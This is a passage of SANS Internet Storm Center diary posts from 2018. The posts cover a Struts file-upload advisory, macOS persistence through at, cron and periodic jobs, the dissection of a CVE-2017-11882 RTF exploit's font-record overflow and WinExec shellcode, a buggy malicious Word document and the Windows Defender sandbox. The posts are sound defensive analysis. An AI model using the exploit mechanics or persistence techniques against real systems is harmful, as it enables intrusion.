    $newShortcut.IconLocation = '%ProgramFiles%\Internet Explorer\iexplore.exe,1'

What about the DLL? Its SHA256 hash is 1ed49bd3e9df63aadcb573e37dfcbafffbb04acb2e4101b68d02ecda9da1eee7 and its current VT score is 7/67[3]. Once executed, the DLL spawns an Internet Explorer process and gets the victim localization by querying hxxp://ip-api[.]com/json/ but nothing else detected in my sandbox. The sample is identified by some AV as "Spyware.Amavaldo"[4]. If you have more details about this malware, please share!

[1] https://www.virustotal.com/#/file/01fd7fdb435d60544d95f420f7813e6a30b6fa64bf4f1522053144a02f961e39/detection
[2] http://ilovepowershell.com/2011/11/03/list-of-top-powershell-alias/
[3] https://www.virustotal.com/#/file/1ed49bd3e9df63aadcb573e37dfcbafffbb04acb2e4101b68d02ecda9da1eee7/detection
[4] https://fortiguard.com/encyclopedia/virus/7804947

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2018-11-05

Struts 2.3 Vulnerable to Two Year old File Upload Flaw

Apache today released an advisory, urging users who run Apache Struts 2.3.x to update the commons-fileupload component [1]. Struts 2.3.x uses by default the old 1.3.2 version of commons-fileupload. In November of 2016, a deserialization vulnerability was disclosed and patched in commons-fileupload [2]. The vulnerability can lead to arbitrary remote code execution.

You are vulnerable if you run Struts 2.3.x, and if your site makes use of the file upload mechanism built into Struts. You are not vulnerable if you are running Struts 2.5.x. This newer version of Struts includes a patched commons-fileupload component.

There is no simple "new Struts version" to fix this. You will have to swap out the commons-fileupload library manually. Download version 1.3.3 and place it inside WEB-INF/lib, replacing the old version. For Maven-based projects, you will also need to update your dependencies (see the advisory for details). You can find the latest version here: https://commons.apache.org/proper/commons-fileupload/download_fileupload.cgi

And while you are at it: Double check that you don't have any other copies of the vulnerable library sitting on your systems. Struts isn't the only one using it, and others may have neglected to update it as well.

[1] http://mail-archives.us.apache.org/mod_mbox/www-announce/201811.mbox
[2] https://issues.apache.org/jira/browse/FILEUPLOAD-279

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2018-11-04

Beyond good ol' LaunchAgent - part 1

Last week, on the inception diary of this series [1], I’ve talked about LaunchAgent and LaunchDaemon, probably the most known and popular persistence mechanisms under macOS. But there are other mechanisms, definitely not new and well known in the *nix world, which are still linked or managed by launchd [2]:

  1. at commands
  2. Cronjob
  3. Periodic

at commands and cronjobs [3][4] are the traditional *nix mechanism to schedule task execution and recurring execution respectively. Those are very much linked to LaunchDaemons, since Apple has replaced those functionalities with Daemons. However, although are deprecated mechanisms, Apple has still legacy support, which means that can be still (ab)used by malware.

AT command

Differently from cronjobs, at commands are meant to be run only once, the next time they are scheduled. In the new OS versions, at daemon has been moved to LaunchDaemon to be handled by the launchd process, and it is disabled by default, as you can verify here:

$ plutil -p /System/Library/LaunchDaemons/com.apple.atrun.plist
 "Disabled" => 1
 " Label" => "com.apple.atrun"
 "ProgramArguments" => [
    0 => "/usr/libexec/atrun"
 "StartInterval" => 30

If enabled, standard at command can be used to schedule a task to run, such as
at 1450 tomorrow command_to_run
and you may still able to find evidence of those scheduled under /usr/lib/cron/jobs/


Cronjobs, as most of you already know, is the mechanism to tell the system to run specific tasks periodically at give intervals of time. The official way to do it in modern Apple systems, would be by using the StartCalendarInterval key in the Agent/Daemon plist file, as we have seen in the previous diary [1]. However, Apple still supports the legacy crontab mechanisms, which will run /usr/sbin/cron anytime a change in crontab or to files into /usr/lib/cron/tabs is detected [2]. To schedule a cronjob, it is sufficient to run crontab -e and insert the properly configured entry. As recap, the syntax is the following :

* * * * * command to execute

where the meaning of the asterisk is, in order from left to right:

  • min (0 - 59)
  • hour (0 - 23)
  • day of month (1 - 31)
  • month (1 - 12)
  • day of week (0 - 6), Sunday to Saturday, 7 is Sunday, same as 0

Some example of recurring execution:

Recurrence Example
Every day at 3pm 0 15 * * * /path/to/my/script.py
Every work day at 3pm 0 15 * * 1-5 /path/to/my/script.py --argument
Every hour (at exactly hh:00) 0 * * * * /path/to/my/script.py


One more way to schedule recurring tasks is to use periodic, part of the FreeBSD inheritance. Although commonly used to run system maintenance scripts, it can as well be abused to hide persistence mechanisms, also considering that is not often considered. Basically, periodic will run the scripts in the folders /etc/periodic/daily/, /etc/periodic/weekly/ and /etc/periodic/monthly/, the recurrence of which is easily comprehensible from the folders name. There you may be able to find traces of malicious recurring tasks as well.

Artifacts summary

Here a quick summary of the specific paths for the forensics artifacts of interest [5]:

AT Command:



Happy Hunting,


[1] - SANS ISC, “Beyond good ol’ LaunchAgent - part 0”, https://isc.sans.edu/forums/diary/Beyond+good+ol+LaunchAgent+part+0/24230/
[2] - Jonathan Levin (@Morpheus______), “*OS Internals”, http://newosxbook.com/index.php 
[3] - MITRE ATT&CK (@MITREattack), “MacOS Techniques - Local Job Scheduling”, https://attack.mitre.org/techniques/T1168/
[4] - Patrick Warlde (@patrickwardle), “OSX Malware Persistence”, https://s3.amazonaws.com/s3.synack.com/Synack_Shakacon_OSX_Malware_Persistence.pdf
[5] - Pasquale Stirparo (@pstirparo), “mac4n6 Artifacts Project”, https://github.com/pstirparo/mac4n6


Pasquale Stirparo,


Published: 2018-11-03

Dissecting a CVE-2017-11882 Exploit

About a week ago, I was asked for help with another malicious RTF file.

Malicious RTF files can not contain VBA code, in stead, malware authors have to use exploits to achieve code execution. This one here has become a classic: an overflow in the font record of an equation editor expression (%%cve:2017-11882%%).

Finding the payload with rtfdump.py and oledump.py was pretty straightforward (we've covered this before):

A cleartext command is easy to spot. But there are also %%cve:2017-11882%% exploits with shellcode and encoded commands, and there it's harder to find the shellcode and its entry point. My tool format-bytes.py can help with the analysis (format-bytes.py takes binary data as input and parses it according to a format string used by the Python struct module).

The structure of an OLE stream with Equation Editor data has been explained in detail in several articles, like this one, explaining that such an OLE stream starts with an header for Equation Editor data in an OLE stream (EQNOLEFILEHDR), followed by an MTEF header and several MTEF records.

format-bytes.py can parse these headers and records, when it is provided with the appropriate Python struct format string. For a sample like this, the format string to use is: <HIHIIIIIBBBBBBBBBB40sIIBB140s

rtfdump.py -s 192 -H -c "0x23:" -d ebde7d335a855059225288e152720021f79289353a79593c8e1efbc787c3dc29.vir | oledump.py -s 4 -d | format-bytes.py -f "<HIHIIIIIBBBBBBBBBB40sIIBB140s:XXXXXXXXXXXXXXXXXXsXXXXs" -n "1: size of EQNOLEFILEHDR 9: Start MTEF header 14: Full size record 15: Line record 16: Font record 19: Shellcode (fontname) 24: Command"

Entry 16 is the Font record, and entry 19 is the fontname. The fontname is 40 characters long, and can be overflowed on the stack, leading to EIP control. In simple exploits, where the payload command is at most 40 characters long, the fontname will contain the command and the return address will be overwritten to call WinExec.

Selecting entry 19 extracts the command. When the command is more than 40 characters long, malware authors use an exploit that is a bit more complex. The fontname then contains shellcode (without 0x00 bytes) that calls WinExec with a command that is appended to the fontame record + overflow. The sample presented here contains such shellcode, that can also be extracted by selecting entry 19:

Here is the disassembled shellcode:

The command can then be found in entry 24:

The struct format string I'm using here with format-bytes.py is specially crafted for this exploit: I saw that the command was 140 characters long (including terminating 0x00) bytes, and I encoded that in the format string: 140s.

A more generic format string looks like this: "<HIHIIIIIBBBBBBBBBB40sII*:XXXXXXXXXXXXXXXXXXsXX"

I terminated this struct format string with * (remainder), right after the font record format (BBB40sII). By using * at the end of a struct format string, I direct format-bytes.py to dump up to 256 bytes after parsing the input (e.g. the remainder).

This last format string can be used to dissect various CVE-2017-11882 exploits.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2018-11-02

TriJklcj2HIUCheDES decryption failed?

I received a malicious Word document with detections on VirusTotal, but it does not exhibit malicious behavior in a sandbox.

That's because it's buggy:

The malware author must have executed a search and replace for string "pl" by string "Jklcj2HIUCh" to obfuscate the function and variable names a bit, without noticing "unwanted" replacements leading to the corruption of the TripleDES COM object name.

The dropped payload is an .inf file that downloads a scriptlet:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2018-11-01

Windows Defender's Sandbox

Microsoft's Windows Defender on Windows 10 supports sandboxing now.

The Windows Defender engine runs with high privileges, and contains a lot of code (for example to parse many different file formats, e.g. parsing untrusted input). A lot of code means many potential bugs. Exploitable bugs in a process running with high privileges is a high risk.

To mitigate this risk, Microsoft implemented a sandbox: parts of Windows defender can now run inside a process with restricted privileges. If a vulnerability in Windows Defender is exploited inside the sandbox, the exploit code is contained inside the sandbox and can not access the operating system's resources (unless, of course, a distinct sandbox escape vulnerability is discovered and used).

If you use Windows 10 1703 or later you can enable Windows Defender's sandbox by setting system environment variable MP_FORCE_USE_SANDBOX to 1 (and to 0 to disable it again).

An OS restart is required to have Windows Defender take into account the setting. The activation of the sandbox can be asserted, with Process Explorer for example, by checking that process MsMpEng.exe has a child process named MsMpEngCP.exe (i.e. the sandbox).

I encountered an issue to activate the sandbox: after creating the system environment variable, I shutdown my machine and then powered it on. This did not enable the sandbox. I had to perform a restart (Start Menu / Power / Restart) for the sandbox to be activated. The same thing happened when I tried to deactivate the sandbox: make sure you perform a restart (literally). This issue was reported to Microsoft, and should be fixed in an upcoming release.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com